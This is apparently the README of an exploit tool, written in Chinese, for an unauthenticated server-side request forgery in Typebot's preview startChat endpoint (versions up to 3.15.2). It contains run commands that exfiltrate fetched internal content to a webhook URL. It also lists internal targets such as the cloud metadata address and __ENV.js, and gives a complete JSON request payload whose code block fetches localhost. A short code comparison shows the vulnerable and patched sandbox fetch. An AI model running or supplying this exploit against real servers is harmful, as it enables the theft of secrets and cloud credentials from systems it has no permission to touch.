Typebot <= 3.15.2(在 3.16.0 中修复)存在一个未认证的服务器端请求伪造(SSRF)漏洞,位于预览聊天端点。
端点: POST /api/v1/typebots/{typebotId}/preview/startChat
预览端点接受用户提供的 typebot 定义,其中包含服务器端代码块。在 isolated-vm 沙箱内暴露的 fetch() 函数调用了 Node.js 原生 fetch,没有 使用常规 HTTP 请求块所使用的 validateHttpReqUrl() SSRF 验证。这绕过了所有 SSRF 防护措施。
本工具仅用于教育目的和授权的安全测试。未经授权针对您不拥有或未获得明确许可的系统进行测试是违法的。作者不对因使用本工具造成的任何滥用或损害负责。
__ENV.js 泄露 SMTP_FROM / 管理员邮箱| 文件 | 描述 |
|---|---|
exploit.py | 主漏洞利用脚本 |
endpoints.txt | 每行一个 URL — 要扫描的 SSRF 目标 |
requirements.txt | Python 依赖 |
pip install -r requirements.txt
# 单个 SSRF 请求
python3 exploit.py -t bot.example.com -u http://127.0.0.1:3000/__ENV.js -w https://webhook.site/your-uuid
# 扫描 endpoints.txt 中的所有 URL
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan
# 从构建器的 __ENV.js 自动检测查看器 URL
python3 exploit.py -t 192.168.1.10:3011 -w https://webhook.site/your-uuid --detect-viewer --scan
# 跳过预检并强制执行
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan --force
| 参数 | 描述 |
|---|---|
-t / --target | Typebot 实例 URL(查看器或构建器)。默认为 http:// 协议 |
-u / --url | 要通过 SSRF 获取的内部 URL(单次模式) |
-w / --webhook | 用于接收外泄数据的 Webhook URL(或使用 WEBHOOK_URL 环境变量) |
--scan | 扫描 endpoints.txt 中的所有 URL |
--detect-viewer | 在目标上探测 /__ENV.js 以查找 NEXT_PUBLIC_VIEWER_URL 并使用它 |
--force | 跳过预检检查并强制执行 |
--timeout | 请求超时时间(默认:20 秒) |
--delay | 扫描请求之间的延迟(默认:0.3 秒) |
bot.example.com 而没有 http://,会自动添加。vulnerable(存在漏洞)、patched(已修复,需要验证)或 endpoint_missing(错误的 URL/版本)。除非设置了 --force,否则失败时提前退出。endpoints.txt,遍历每个 URL,将内容外泄至 Webhook。每行一个原始 URL。空白行被忽略。没有注释,没有分类。
http://127.0.0.1:3000/__ENV.js
http://typebot-builder:3000/
http://169.254.169.254/latest/meta-data/
在 packages/variables/src/executeFunction.ts 中,isolated-vm 沙箱内暴露的 fetch() 原本调用 Node.js 原生 fetch 而没有进行 SSRF 验证:
// 存在漏洞 (<=3.15.2):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const res = await fetch(input, init); // 没有 validateHttpReqUrl!
return res.text();
}),
});
// 已修复 (>=3.16.0):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const request = new Request(input, init);
await validateHttpReqUrl(request.url); // 添加了 SSRF 检查
validateHttpReqHeaders(headers);
}),
});
修复(提交 d96f572)还重新调整了 getTypebot() 中的检查顺序,使身份验证验证在自定义 typebot 快捷方式之前运行,并将查看器的预览端点从 procedureWithOptionalUser 移至 protectedProcedure。
{
"typebotId": "exploit-id",
"typebot": {
"version": "6",
"id": "exploit-bot",
"workspaceId": "test",
"updatedAt": "2026-01-01T00:00:00.000Z",
"groups": [
{
"id": "group-1", "title": "Start",
"graphCoordinates": {"x": 0, "y": 0},
"blocks": [
{"id": "block-1", "type": "start", "label": "Start", "outgoingEdgeId": "edge-1"}
]
},
{
"id": "group-2", "title": "SSRF",
"graphCoordinates": {"x": 200, "y": 0},
"blocks": [
{
"id": "block-2", "type": "Code",
"outgoingEdgeId": "edge-2",
"options": {
"name": "SSRF",
"content": "const res = await fetch(\"http://127.0.0.1:3000/\"); setVariable(\"result\", res);",
"isExecutedOnClient": false,
"isUnsafe": true
}
}
]
}
],
"edges": [
{"id": "edge-1", "from": {"blockId": "block-1"}, "to": {"groupId": "group-2"}}
],
"events": [
{"id": "event-1", "type": "start", "outgoingEdgeId": "edge-1", "graphCoordinates": {"x": 0, "y": 0}}
],
"variables": [
{"id": "var-1", "name": "result", "value": null}
],
"settings": {"general": {}},
"theme": {"general": {}, "chat": {}}
}
}
重要提示: 沙箱内部的 fetch() 已经返回了 .text() 的结果,因此结果是字符串,而不是 Response 对象。